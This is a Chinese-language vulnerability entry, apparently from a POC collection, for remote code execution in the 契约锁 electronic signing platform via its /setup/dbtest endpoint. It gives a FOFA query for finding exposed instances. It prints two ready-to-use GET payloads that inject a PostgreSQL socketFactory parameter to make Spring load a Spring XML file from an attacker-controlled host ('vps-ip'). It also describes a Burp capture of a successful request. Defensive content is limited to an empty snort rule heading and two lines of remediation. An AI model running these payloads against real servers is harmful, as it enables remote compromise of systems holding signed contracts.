

契约锁-dbtest-远程代码执行

契约锁-dbtest-远程代码执行，通过构造特定的数据库连接参数，可以触发Spring框架的XML外部实体注入，导致远程代码执行。

影响版本

契约锁-电子签署平台

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app=契约锁-电子签署平台

POC/EXP：1

```
GET /setup/dbtest?
db=POSTGRESQL&host=localhost&port=5511&username=root&name=test%2F%3FsocketFactory
%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26s
ocketFactoryArg%3Dhttp%3A%2F%2Fvps-ip%2F1%2Exml HTTP/1.1
Host: 127.0.0.1
```

POC/EXP：2

```
GET /api/setup/dbtest?
db=POSTGRESQL&host=localhost&port=5511&username=root&name=test%2F%3FsocketFactory
%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26s
ocketFactoryArg%3Dhttp%3A%2F%2Fvps-ip%2F1%2Exml HTTP/1.1
Host: 127.0.0.1
```

The screenshot displays the Burp Suite interface with the 'Request' and 'Responses' tabs. The 'Request' tab shows a GET request to /api/setup/dbtest?db=POSTGRES&host=localhost&port=5511&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2Fwww.shld.eyes.sh%2F%2Exml HTTP/1.1. The 'Responses' tab shows the server's response, which is a JSON object indicating a successful connection: {\"result\": [{\"dbCheckItem\": \"CONNECTION\"}], \"code\": 0, \"message\": \"数据库、账号、密码是否正确\"}. The response status is 200 OK.

snort规则:

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。